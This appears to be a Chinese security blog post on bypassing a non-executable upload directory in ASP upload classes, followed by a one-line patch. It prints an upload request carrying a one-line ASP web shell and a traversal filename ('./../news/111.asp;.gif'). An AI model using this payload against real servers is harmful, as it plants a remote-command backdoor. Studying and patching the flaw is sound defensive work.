有的时候碰到一种上传情况,上传之后的目录已经被程序定义好了,而这个目录没有脚本执行权限,所以我们要想办法传到一个其他有权限的目录,算上今天这篇,好像看到三篇关于这个事情的文章了,都差不多。整理一下

这个是有条件的,其实就是asp上传类的代码问题:

1.不更改上传文件名

2.像无惧那样没考虑 / 的情况

下面一个包:


-----------------------------7da290150c5e 
Content-Disposition: form-data; name="file1"; 
filename="E:\xxx\xxx\xx\111.asp;.gif" 
Content-Type: text/plain 
<%execute(request("cmd"))%> 
......

filename是判断filename里的最右边的一个"\"以后的就是文件名字了。所以,这样构造:

Content-Disposition: form-data; name="file1"; filename="E:\xxx\xxx\xx\./../news/111.asp;.gif"

这样程序就会把 ./../news/111.asp;.gif当作文件名处理了,然后保存文件到上一级的news文件夹下了。

修补方法:

      iFindStart = InStr (iFindEnd,sInfo,"filename=""",1)+10
      iFindEnd = InStr (iFindStart,sInfo,"""",1)
      sFileName = Mid (sinfo,iFindStart,iFindEnd-iFindStart)
      
sFileName = Replace (sFileName,"/","\") // 修补方法 加上这句即可
      oFileInfo.FileName = Mid (sFileName,InStrRev (sFileName, "\")+1)
      oFileInfo.FilePath = Left (sFileName,InStrRev (sFileName, "\"))

更多:

http://www.t00ls.net/viewthread.php?tid=12603&extra=&page=1

http://hi.baidu.com/kashifs/blog/item/0900fc01845e65783812bb12.html

http://www.sb-sb.cn

http://blog.secer.org/